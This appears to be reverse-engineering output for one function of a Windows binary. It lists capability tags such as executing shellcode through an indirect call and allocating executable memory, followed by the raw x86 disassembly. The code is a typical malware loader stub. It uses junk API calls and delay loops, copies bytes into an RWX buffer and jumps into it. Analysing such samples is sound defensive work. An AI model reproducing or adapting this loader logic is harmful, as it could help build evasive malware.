Function at 0x4045a2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x4045cf
inc edi
cmp edi, 0x67d12
jl 0x4045b2
cmp dword [0x28277b4], 0x93
jne 0x4046c3
push 0x403fac
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push 0x403fc4
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push 0x403fe8
push 0x404020
push 0x404078
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push 0x40401c
push esi
call fcn.00405397
push esi
call fcn.00404c74
push esi
push esi
call fcn.004052a0
push esi
push esi
call fcn.004053ae
push esi
call fcn.004057ea
push esi
push esi
call fcn.00404c44
push 0xc
call fcn.00405b1d
mov edi, eax
add esp, 0x2c
cmp edi, esi
je 0x40487f
mov dword [edi], edi
mov dword [edi + 4], edi
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x4046bc
mov ebx, dword [eax]
push eax
call fcn.004054ba
pop ecx
mov eax, ebx
cmp ebx, edi
jne 0x4046ad
push edi
call fcn.004054ba
pop ecx
mov eax, dword [0x42fc6c]
add dword [0x28277b4], 0x1134b
push 0x4040cc
mov dword [0x28285f0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x4040e8
push eax
mov dword [0x2827244], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x28277b4]
mov dword [0x2827238], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x28277b4]
mov dword [0x2827240], eax
push eax
call dword [0x2827238]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x404722
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x28277b4], esi
jbe 0x4047a8
mov eax, dword [0x28285f0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2827240]
mov byte [ecx + edi], al
cmp dword [0x28277b4], 0x490
jne 0x40479f
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x28277b4]
jb 0x404756
xor edi, edi
mov eax, dword [0x28277b4]
add eax, edi
cmp eax, 0x8d
jne 0x4047e9
push esi
lea eax, [ebp - 0x414]
push eax
push esi
push 0x4040f8
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push 0x4040fc
push 0x404114
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x4047aa
call fcn.004044cd
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x404817
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x612b
mov eax, dword [ebp - 4]
add dword [0x2827240], eax
inc edi
cmp edi, 0x674bd
jl 0x4047f9
push 0x7b
pop edi
cmp dword [0x28277b4], 0x86
jne 0x40486a
push esi
push esi
push esi
push esi
push esi
push esi
push 0x404134
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthW]
dec edi
jne 0x404823
push 0x40416c
call ebx
call dword [0x2827240]
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], esi
call fcn.00404d24
push 0x42b518
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0x40130c
call fcn.0040b606
int3